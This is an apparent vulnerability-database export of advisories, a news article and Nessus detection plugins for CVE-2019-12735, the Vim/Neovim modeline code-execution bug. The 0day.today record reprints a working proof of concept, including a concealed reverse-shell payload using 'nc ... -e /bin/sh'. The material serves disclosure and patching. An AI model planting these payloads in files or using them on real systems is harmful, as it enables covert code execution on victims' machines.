editor.\n\nSecurity Fix(es):\n\n* vim/neovim: ':source!' command allows arbitrary command execution via modelines (CVE-2019-12735)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2019-07-16T16:12:45", "published": "2019-07-16T15:51:07", "id": "RHSA-2019:1793", "href": "https://access.redhat.com/errata/RHSA-2019:1793", "type": "redhat", "title": "(RHSA-2019:1793) Important: vim security update", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-08-13T18:46:49", "bulletinFamily": "unix", "cvelist": ["CVE-2019-12735"], "description": "Vim (Vi IMproved) is an updated and improved version of the vi editor.\n\nSecurity Fix(es):\n\n* vim/neovim: ':source!' command allows arbitrary command execution via modelines (CVE-2019-12735)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2019-07-15T16:20:08", "published": "2019-07-15T16:07:57", "id": "RHSA-2019:1774", "href": "https://access.redhat.com/errata/RHSA-2019:1774", "type": "redhat", "title": "(RHSA-2019:1774) Important: vim security update", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-08-15T00:45:56", "bulletinFamily": "unix", "cvelist": ["CVE-2019-12735"], "description": "Vim (Vi IMproved) is an updated and improved version of the vi editor.\n\nSecurity Fix(es):\n\n* vim/neovim: ':source!' command allows arbitrary command execution via modelines (CVE-2019-12735)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2019-07-30T12:51:29", "published": "2019-07-30T12:23:16", "id": "RHSA-2019:1947", "href": "https://access.redhat.com/errata/RHSA-2019:1947", "type": "redhat", "title": "(RHSA-2019:1947) Important: vim security update", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "gentoo": [{"lastseen": "2020-03-13T00:35:32", "bulletinFamily": "unix", "cvelist": ["CVE-2019-12735"], "description": "### Background\n\nVim is an efficient, highly configurable improved version of the classic \u2018vi\u2019 text editor. gVim is the GUI version of Vim. \n\n### Description\n\nIt was found that the `:source!` command was not restricted by the sandbox mode. If modeline was explicitly enabled, opening a specially crafted text file in vim could result in arbitrary command execution. \n\n### Impact\n\nA remote attacker could entice a user to open a specially crafted file using Vim or gVim, possibly resulting in execution of arbitrary code with the privileges of the process or a Denial of Service condition. \n\n### Workaround\n\nThere is no known workaround at this time.\n\n### Resolution\n\nAll Vim users should upgrade to the latest version:\n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=app-editors/vim-8.1.1486\"\n \n\nAll gVim users should upgrade to the latest version:\n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=app-editors/gvim-8.1.1486\"", "edition": 1, "modified": "2020-03-12T00:00:00", "published": "2020-03-12T00:00:00", "id": "GLSA-202003-04", "href": "https://security.gentoo.org/glsa/202003-04", "title": "Vim, gVim: Remote execution of arbitrary code", "type": "gentoo", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "debian": [{"lastseen": "2020-08-12T01:10:28", "bulletinFamily": "unix", "cvelist": ["CVE-2019-12735"], "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-4467-1 security@debian.org\nhttps://www.debian.org/security/ Moritz Muehlenhoff\nJune 18, 2019 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : vim\nCVE ID : CVE-2019-12735\n\nUser "Arminius" discovered a vulnerability in Vim, an enhanced version of the\nstandard UNIX editor Vi (Vi IMproved). The "Common vulnerabilities and\nexposures project" identifies the following problem:\n \nEditors typically provide a way to embed editor configuration commands (aka\nmodelines) which are executed once a file is opened, while harmful commands\nare filtered by a sandbox mechanism. It was discovered that the "source"\ncommand (used to include and execute another file) was not filtered, allowing\nshell command execution with a carefully crafted file opened in Vim.\n\nFor the stable distribution (stretch), this problem has been fixed in\nversion 8.0.0197-4+deb9u2.\n\nWe recommend that you upgrade your vim packages.\n\nFor the detailed security status of vim please refer to\nits security tracker page at:\nhttps://security-tracker.debian.org/tracker/vim\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org\n", "edition": 8, "modified": "2019-06-18T21:27:21", "published": "2019-06-18T21:27:21", "id": "DEBIAN:DSA-4467-1:77F55", "href": "https://lists.debian.org/debian-security-announce/debian-security-announce-2019/msg00113.html", "title": "[SECURITY] [DSA 4467-1] vim security update", "type": "debian", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-08-12T01:08:55", "bulletinFamily": "unix", "cvelist": ["CVE-2019-12735"], "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-4487-1 security@debian.org\nhttps://www.debian.org/security/ Moritz Muehlenhoff\nJuly 23, 2019 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : neovim\nCVE ID : CVE-2019-12735\n\nUser "Arminius" discovered a vulnerability in Vim, an enhanced version of the\nstandard UNIX editor Vi (Vi IMproved), which also affected the Neovim fork, an\nextensible editor focused on modern code and features:\n \nEditors typically provide a way to embed editor configuration commands (aka\nmodelines) which are executed once a file is opened, while harmful commands\nare filtered by a sandbox mechanism. It was discovered that the "source"\ncommand (used to include and execute another file) was not filtered, allowing\nshell command execution with a carefully crafted file opened in Neovim.\n\nFor the oldstable distribution (stretch), this problem has been fixed\nin version 0.1.7-4+deb9u1.\n\nWe recommend that you upgrade your neovim packages.\n\nFor the detailed security status of neovim please refer to\nits security tracker page at:\nhttps://security-tracker.debian.org/tracker/neovim\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org\n", "edition": 11, "modified": "2019-07-23T21:15:55", "published": "2019-07-23T21:15:55", "id": "DEBIAN:DSA-4487-1:B50EE", "href": "https://lists.debian.org/debian-security-announce/debian-security-announce-2019/msg00135.html", "title": "[SECURITY] [DSA 4487-1] neovim security update", "type": "debian", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-09T00:51:07", "bulletinFamily": "unix", "cvelist": ["CVE-2019-12735"], "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-4467-2 security@debian.org\nhttps://www.debian.org/security/ Moritz Muehlenhoff\nJune 23, 2019 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : vim\nCVE ID : CVE-2019-12735\n\nThe update for vim released as DSA 4467-1 introduced a regression which\nbroke syntax highlighting in some circumstances. Updated vim packages\nare now available to correct this issue.\n\nFor the stable distribution (stretch), this problem has been fixed in\nversion 8.0.0197-4+deb9u3.\n\nWe recommend that you upgrade your vim packages.\n\nFor the detailed security status of vim please refer to\nits security tracker page at:\nhttps://security-tracker.debian.org/tracker/vim\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org\n", "edition": 9, "modified": "2019-06-23T20:57:19", "published": "2019-06-23T20:57:19", "id": "DEBIAN:DSA-4467-2:BE642", "href": "https://lists.debian.org/debian-security-announce/debian-security-announce-2019/msg00117.html", "title": "[SECURITY] [DSA 4467-2] vim regression update", "type": "debian", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "zdt": [{"lastseen": "2019-06-09T14:13:10", "description": "Exploit for linux platform in category local exploits", "edition": 1, "published": "2019-06-07T00:00:00", "title": "Vim < 8.1.1365 / Neovim < 0.3.6 - Arbitrary Code Execution Vulnerability", "type": "zdt", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-12735"], "modified": "2019-06-07T00:00:00", "id": "1337DAY-ID-32851", "href": "https://0day.today/exploit/description/32851", "sourceData": "*by Arminius ([@rawsec](https://twitter.com/rawsec))*\r\n\r\nVim/Neovim Arbitrary Code Execution via Modelines\r\n=================================================\r\n\r\n```\r\nProduct: Vim < 8.1.1365, Neovim < 0.3.6\r\nType: Arbitrary Code Execution\r\nCVE: CVE-2019-12735\r\nDate: 2019-06-04\r\nAuthor: Arminius (@rawsec)\r\n```\r\n\r\nSummary\r\n-------\r\n\r\nVim before 8.1.1365 and Neovim before 0.3.6 are vulnerable to arbitrary code\r\nexecution via modelines by opening a specially crafted text file.\r\n\r\n\r\nProof of concept\r\n----------------\r\n\r\n- Create [`poc.txt`](../data/2019-06-04_ace-vim-neovim/poc.txt):\r\n\r\n :!uname -a||\" vi:fen:fdm=expr:fde=assert_fails(\"source\\!\\ \\%\"):fdl=0:fdt=\"\r\n\r\n- Ensure that the modeline option has not been disabled (`:set modeline`).\r\n\r\n- Open the file in Vim:\r\n\r\n $ vim poc.txt\r\n\r\n- The system will execute `uname -a`.\r\n\r\nProof of concept 2 (reverse shell)\r\n----------------------------------\r\n\r\nThis PoC outlines a real-life attack approach in which a reverse shell\r\nis launched once the user opens the file. To conceal the attack, the file will\r\nbe immediately rewritten when opened. Also, the PoC uses terminal escape\r\nsequences to hide the modeline when the content is printed with `cat`. (`cat\r\n-v` reveals the actual content.)\r\n\r\n[`shell.txt`](../data/2019-06-04_ace-vim-neovim/shell.txt):\r\n\r\n \\x1b[?7l\\x1bSNothing here.\\x1b:silent! w | call system(\\'nohup nc 127.0.0.1 9999 -e /bin/sh &\\') | redraw! | file | silent! # \" vim: set fen fdm=expr fde=assert_fails(\\'set\\\\ fde=x\\\\ \\\\|\\\\ source\\\\!\\\\ \\\\%\\') fdl=0: \\x16\\x1b[1G\\x16\\x1b[KNothing here.\"\\x16\\x1b[D \\n\r\n\r\nDemo (victim left, attacker right):\r\n\r\n\r\n\r\nDetails\r\n-------\r\n\r\nThe modeline feature allows to specify custom editor options near the start or\r\nend of a file. This feature is enabled by default and applied to all file types,\r\nincluding plain `.txt`. A typical modeline:\r\n\r\n /* vim: set textwidth=80 tabstop=8: */\r\n\r\nFor security reasons, only a subset of options is permitted in modelines, and\r\nif the option value contains an expression, it is executed in a sandbox: [[1]]\r\n\r\n No other commands than \"set\" are supported, for security reasons (somebody\r\n might create a Trojan horse text file with modelines). And not all options\r\n can be set. For some options a flag is set, so that when it's used the\r\n |sandbox| is effective.\r\n\r\nThe sandbox is meant to prevent side effects: [[2]]\r\n\r\n The 'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline' and\r\n 'foldtext' options may be evaluated in a sandbox. This means that you are\r\n protected from these expressions having nasty side effects. This gives some\r\n safety for when these options are set from a modeline.\r\n\r\nHowever, the `:source!` command (with the bang [`!`] modifier) can be used to\r\nbypass the sandbox. It reads and executes commands from a given file as if\r\n*typed manually*, running them after the sandbox has been left. [[3]]\r\n\r\n :so[urce]! {file} Read Vim commands from {file}. These are commands\r\n that are executed from Normal mode, like you type\r\n them.\r\n\r\nThus, one can trivially construct a modeline that runs code outside the sandbox:\r\n\r\n # vim: set foldexpr=execute('\\:source! some_file'):\r\n\r\nAn additional step is needed for Neovim which blacklists `execute()`: [[4]]\r\n\r\n execute({command} [, {silent}]) *execute()*\r\n Execute {command} and capture its output.\r\n [...]\r\n This function is not available in the |sandbox|.\r\n\r\nHere, `assert_fails()` can be used instead, which takes a `{cmd}` argument, too: [[5]]\r\n\r\n assert_fails({cmd} [, {error} [, {msg}]]) *assert_fails()*\r\n Run {cmd} and add an error message to |v:errors| if it does\r\n NOT produce an error.\r\n\r\nThe following modeline utilizes a fold expression to run `source! %` to\r\nexecute the current file, which in turn executes `uname -a || \"(garbage)\"` as a\r\nshell command:\r\n\r\n :!uname -a||\" vi:fen:fdm=expr:fde=assert_fails(\"source\\!\\ \\%\"):fdl=0:fdt=\"\r\n\r\nAdditionally, the Neovim-only function `nvim_input()` is vulnerable to the same\r\napproach via e.g.:\r\n\r\n vi:fen:fdm=expr:fde=nvim_input(\"\\:terminal\\ uname\\ -a\"):fdl=0\r\n\r\n(In the past, other modeline-related vulnerabilities have been patched in Vim - see [CVE-2002-1377](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1377), [CVE-2016-1248](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1248).)\r\n\r\nPatches\r\n-------\r\n\r\n- [Vim patch 8.1.1365](https://github.com/vim/vim/commit/5357552)\r\n- [Neovim patch](https://github.com/neovim/neovim/pull/10082) (released in [v0.3.6](https://github.com/neovim/neovim/releases/tag/v0.3.6))\r\n\r\nBeyond patching, it's recommended to disable modelines in the vimrc (`set\r\nnomodeline`), to use the [securemodelines](https://github.com/ciaranm/securemodelines/)\r\nplugin, or to disable `modelineexpr` (since patch 8.1.1366, Vim-only) to disallow\r\nexpressions in modelines.\r\n\r\nTimeline\r\n--------\r\n\r\n - 2019-05-22 Vim and Neovim maintainers notified\r\n - 2019-05-23 Vim patch released\r\n - 2019-05-29 Neovim patch released\r\n - 2019-06-05 CVE ID CVE-2019-12735 assigned\r\n\r\nAlso see description of [CVE-2019-12735](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12735).\r\n\r\n[1]: https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/options.txt#L582\r\n[2]: https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/eval.txt#L13050\r\n[3]: https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/repeat.txt#L182\r\n[4]: https://github.com/neovim/neovim/blob/1060bfd0338253107deaac346e362a9feab32068/runtime/doc/eval.txt#L3247\r\n[5]: https://github.com/neovim/neovim/blob/1060bfd0338253107deaac346e362a9feab32068/runtime/doc/eval.txt#L2494\r\n[6]: https://github.com/vim/vim/releases/tag/v8.1.1365\r\n[7]: https://github.com/neovim/neovim/releases/tag/v0.3.6\n\n# 0day.today [2019-06-09] #", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://0day.today/exploit/32851"}], "threatpost": [{"lastseen": "2020-04-11T11:45:23", "bulletinFamily": "info", "cvelist": ["CVE-2019-12735"], "description": "A high-severity bug impacting two popular command-line text editing applications, Vim and Neovim, allow remote attackers to execute arbitrary OS commands. Security researcher Armin Razmjou warned that exploiting the bug is as easy as tricking a target into clicking on a specially crafted text file in either editor.\n\nRazmjou outlined his research and created a proof-of-concept (PoC) attack demonstrating how an adversary can compromise a Linux system via Vim or Neowim. He said Vim versions before 8.1.1365 and Neovim before 0.3.6 are vulnerable to arbitrary code execution.\n\n\u201c[Outlined is] a real-life attack approach in which a reverse shell is launched once the user opens the file. To conceal the attack, the file will be immediately rewritten when opened. Also, the PoC uses terminal escape sequences to hide the modeline when the content is printed with cat. (cat -v reveals the actual content),\u201d wrote Razmjou in a technical [analysis of his research](<https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md>).\n\nVim is a popular modal (insert, visual or command) text editor based on the vi editor, a screen-oriented text editor originally created for the Unix operating system. A modeline is a configuration line that shares settings data to a display server and communicates display settings data.\n\nRazmjou\u2019s PoC is able to bypass modeline mitigations, which execute value expressions in a sandbox. That\u2019s to prevent somebody from creating a trojan horse text file in modelines, the researcher said.\n\n\u201cHowever, the :source! command (with the bang [!] modifier) can be used to bypass the sandbox. It reads and executes commands from a given file as if typed manually, running them after the sandbox has been left,\u201d according to the PoC report.\n\n[Vim](<https://github.com/vim/vim/commit/5357552>) and [Neovim](<https://github.com/neovim/neovim/pull/10082>) have both released patches for the bug (CVE-2019-12735) that the [National Institute of Standards and Technology warns](<https://nvd.nist.gov/vuln/detail/CVE-2019-12735>), \u201callows remote attackers to execute arbitrary OS commands via the :source! command in a modeline.\u201d\n\n\u201cBeyond patching, it\u2019s recommended to disable modelines in the vimrc (set nomodeline), to use the securemodelinesplugin, or to disable modelineexpr (since patch 8.1.1366, Vim-only) to disallow expressions in modelines,\u201d the researcher said.\n", "modified": "2019-06-11T16:00:29", "published": "2019-06-11T16:00:29", "id": "THREATPOST:BAD51469E5397055C24BA057979CD8C8", "href": "https://threatpost.com/linux-command-line-editors-high-severity-bug/145569/", "type": "threatpost", "title": "Linux Command-Line Editors Vulnerable to High-Severity Bug", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "amazon": [{"lastseen": "2020-11-10T12:34:39", "bulletinFamily": "unix", "cvelist": ["CVE-2019-12735"], "description": "**Issue Overview:**\n\nIt was found that the `:source!` command was not restricted by the sandbox mode. If modeline was explicitly enabled, opening a specially crafted text file in vim could result in arbitrary command execution. ([CVE-2019-12735 __](<https://access.redhat.com/security/cve/CVE-2019-12735>))\n\n \n**Affected Packages:** \n\n\nvim\n\n \n**Issue Correction:** \nRun _yum update 'vim*'_ to update your system. \n\n\n \n\n\n**New Packages:**\n \n \n i686: \n vim-filesystem-8.0.0503-1.46.amzn1.i686 \n vim-enhanced-8.0.0503-1.46.amzn1.i686 \n vim-common-8.0.0503-1.46.amzn1.i686 \n vim-minimal-8.0.0503-1.46.amzn1.i686 \n vim-debuginfo-8.0.0503-1.46.amzn1.i686 \n \n src: \n vim-8.0.0503-1.46.amzn1.src \n \n x86_64: \n vim-debuginfo-8.0.0503-1.46.amzn1.x86_64 \n vim-minimal-8.0.0503-1.46.amzn1.x86_64 \n vim-common-8.0.0503-1.46.amzn1.x86_64 \n vim-filesystem-8.0.0503-1.46.amzn1.x86_64 \n vim-enhanced-8.0.0503-1.46.amzn1.x86_64 \n \n \n", "edition": 4, "modified": "2019-07-17T23:30:00", "published": "2019-07-17T23:30:00", "id": "ALAS-2019-1239", "href": "https://alas.aws.amazon.com/ALAS-2019-1239.html", "title": "Important: vim", "type": "amazon", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-11-10T12:35:22", "bulletinFamily": "unix", "cvelist": ["CVE-2019-12735"], "description": "**Issue Overview:**\n\nIt was found that the `:source!` command was not restricted by the sandbox mode. If modeline was explicitly enabled, opening a specially crafted text file in vim could result in arbitrary command execution. ([CVE-2019-12735 __](<https://access.redhat.com/security/cve/CVE-2019-12735>))\n\n \n**Affected Packages:** \n\n\nvim\n\n \n**Issue Correction:** \nRun _yum update 'vim*'_ to update your system. \n\n\n \n\n\n**New Packages:**\n \n \n aarch64: \n vim-common-8.1.1602-1.amzn2.aarch64 \n vim-minimal-8.1.1602-1.amzn2.aarch64 \n vim-enhanced-8.1.1602-1.amzn2.aarch64 \n vim-X11-8.1.1602-1.amzn2.aarch64 \n vim-debuginfo-8.1.1602-1.amzn2.aarch64 \n \n i686: \n vim-common-8.1.1602-1.amzn2.i686 \n vim-minimal-8.1.1602-1.amzn2.i686 \n vim-enhanced-8.1.1602-1.amzn2.i686 \n vim-X11-8.1.1602-1.amzn2.i686 \n vim-debuginfo-8.1.1602-1.amzn2.i686 \n \n noarch: \n vim-filesystem-8.1.1602-1.amzn2.noarch \n \n src: \n vim-8.1.1602-1.amzn2.src \n \n x86_64: \n vim-common-8.1.1602-1.amzn2.x86_64 \n vim-minimal-8.1.1602-1.amzn2.x86_64 \n vim-enhanced-8.1.1602-1.amzn2.x86_64 \n vim-X11-8.1.1602-1.amzn2.x86_64 \n vim-debuginfo-8.1.1602-1.amzn2.x86_64 \n \n \n", "edition": 1, "modified": "2019-08-07T23:39:00", "published": "2019-08-07T23:39:00", "id": "ALAS2-2019-1239", "href": "https://alas.aws.amazon.com/AL2/ALAS-2019-1239.html", "title": "Important: vim", "type": "amazon", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "oraclelinux": [{"lastseen": "2019-07-31T03:48:55", "bulletinFamily": "unix", "cvelist": ["CVE-2019-12735"], "description": "[2:8.0.1763-11]\n- 1719812 - CVE-2019-12735 vim: vim/neovim: arbitrary command execution in getchar.c [rhel-8.1.0]", "edition": 3, "modified": "2019-07-18T00:00:00", "published": "2019-07-18T00:00:00", "id": "ELSA-2019-1619", "href": "http://linux.oracle.com/errata/ELSA-2019-1619.html", "title": "vim security update", "type": "oraclelinux", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-07-19T07:47:44", "bulletinFamily": "unix", "cvelist": ["CVE-2019-12735"], "description": "[2:7.4.629-5.2]\n- 1724045 - fix CVE-2019-12735 the :source! command allows arbitrary command execution via the modeline\n- fix spec warnings about expanding macros", "edition": 1, "modified": "2019-07-18T00:00:00", "published": "2019-07-18T00:00:00", "id": "ELSA-2019-1774", "href": "http://linux.oracle.com/errata/ELSA-2019-1774.html", "title": "vim security update", "type": "oraclelinux", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "nessus": [{"lastseen": "2020-09-24T09:06:19", "description": "This update for vim fixes the following issue :\n\nSecurity issue fixed :\n\n - CVE-2019-12735: Fixed a potential arbitrary code\n execution vulnerability in getchar.c (bsc#1137443).\n\nThis update was imported from the SUSE:SLE-15:Update update project.", "edition": 13, "cvss3": {"score": 8.6, "vector": "AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"}, "published": "2019-06-18T00:00:00", "title": "openSUSE Security Update : vim (openSUSE-2019-1561)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-12735"], "modified": "2019-06-18T00:00:00", "cpe": ["p-cpe:/a:novell:opensuse:gvim", "cpe:/o:novell:opensuse:15.1", "p-cpe:/a:novell:opensuse:vim-debugsource", "p-cpe:/a:novell:opensuse:vim-data", "p-cpe:/a:novell:opensuse:vim-data-common", "p-cpe:/a:novell:opensuse:vim", "p-cpe:/a:novell:opensuse:vim-debuginfo", "p-cpe:/a:novell:opensuse:gvim-debuginfo"], "id": "OPENSUSE-2019-1561.NASL", "href": "https://www.tenable.com/plugins/nessus/125982", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from openSUSE Security Update openSUSE-2019-1561.\n#\n# The text description of this plugin is (C) SUSE LLC.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(125982);\n script_version(\"1.3\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/09/23\");\n\n script_cve_id(\"CVE-2019-12735\");\n\n script_name(english:\"openSUSE Security Update : vim (openSUSE-2019-1561)\");\n script_summary(english:\"Check for the openSUSE-2019-1561 patch\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\"The remote openSUSE host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"This update for vim fixes the following issue :\n\nSecurity issue fixed :\n\n - CVE-2019-12735: Fixed a potential arbitrary code\n execution vulnerability in getchar.c (bsc#1137443).\n\nThis update was imported from the SUSE:SLE-15:Update update project.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1137443\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected vim packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:gvim\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:gvim-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:vim\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:vim-data\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:vim-data-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:vim-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:vim-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:opensuse:15.1\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/06/05\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/06/17\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/06/18\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019-2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release =~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"openSUSE\");\nif (release !~ \"^(SUSE15\\.1)$\") audit(AUDIT_OS_RELEASE_NOT, \"openSUSE\", \"15.1\", release);\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nourarch = get_kb_item(\"Host/cpu\");\nif (!ourarch) audit(AUDIT_UNKNOWN_ARCH);\nif (ourarch !~ \"^(i586|i686|x86_64)$\") audit(AUDIT_ARCH_NOT, \"i586 / i686 / x86_64\", ourarch);\n\nflag = 0;\n\nif ( rpm_check(release:\"SUSE15.1\", reference:\"gvim-8.0.1568-lp151.5.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"gvim-debuginfo-8.0.1568-lp151.5.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"vim-8.0.1568-lp151.5.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"vim-data-8.0.1568-lp151.5.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"vim-data-common-8.0.1568-lp151.5.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"vim-debuginfo-8.0.1568-lp151.5.3.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"vim-debugsource-8.0.1568-lp151.5.3.1\") ) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"gvim / gvim-debuginfo / vim / vim-data / vim-data-common / etc\");\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-01-01T04:46:18", "description": "From Red Hat Security Advisory 2019:1774 :\n\nAn update for vim is now available for Red Hat Enterprise Linux 6.\n\nRed Hat Product Security has rated this update as having a security\nimpact of Important. A Common Vulnerability Scoring System (CVSS) base\nscore, which gives a detailed severity rating, is available for each\nvulnerability from the CVE link(s) in the References section.\n\nVim (Vi IMproved) is an updated and improved version of the vi editor.\n\nSecurity Fix(es) :\n\n* vim/neovim: ':source!' command allows arbitrary command execution\nvia modelines (CVE-2019-12735)\n\nFor more details about the security issue(s), including the impact, a\nCVSS score, acknowledgments, and other related information, refer to\nthe CVE page(s) listed in the References section.", "edition": 17, "cvss3": {"score": 8.6, "vector": "AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"}, "published": "2019-07-19T00:00:00", "title": "Oracle Linux 6 : vim (ELSA-2019-1774)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-12735"], "modified": "2021-01-02T00:00:00", "cpe": ["cpe:/o:oracle:linux:6", "p-cpe:/a:oracle:linux:vim-enhanced", "p-cpe:/a:oracle:linux:vim-X11", "p-cpe:/a:oracle:linux:vim-minimal", "p-cpe:/a:oracle:linux:vim-common", "p-cpe:/a:oracle:linux:vim-filesystem"], "id": "ORACLELINUX_ELSA-2019-1774.NASL", "href": "https://www.tenable.com/plugins/nessus/126807", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Red Hat Security Advisory RHSA-2019:1774 and \n# Oracle Linux Security Advisory ELSA-2019-1774 respectively.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(126807);\n script_version(\"1.3\");\n script_cvs_date(\"Date: 2019/09/27 13:00:39\");\n\n script_cve_id(\"CVE-2019-12735\");\n script_xref(name:\"RHSA\", value:\"2019:1774\");\n\n script_name(english:\"Oracle Linux 6 : vim (ELSA-2019-1774)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Oracle Linux host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n 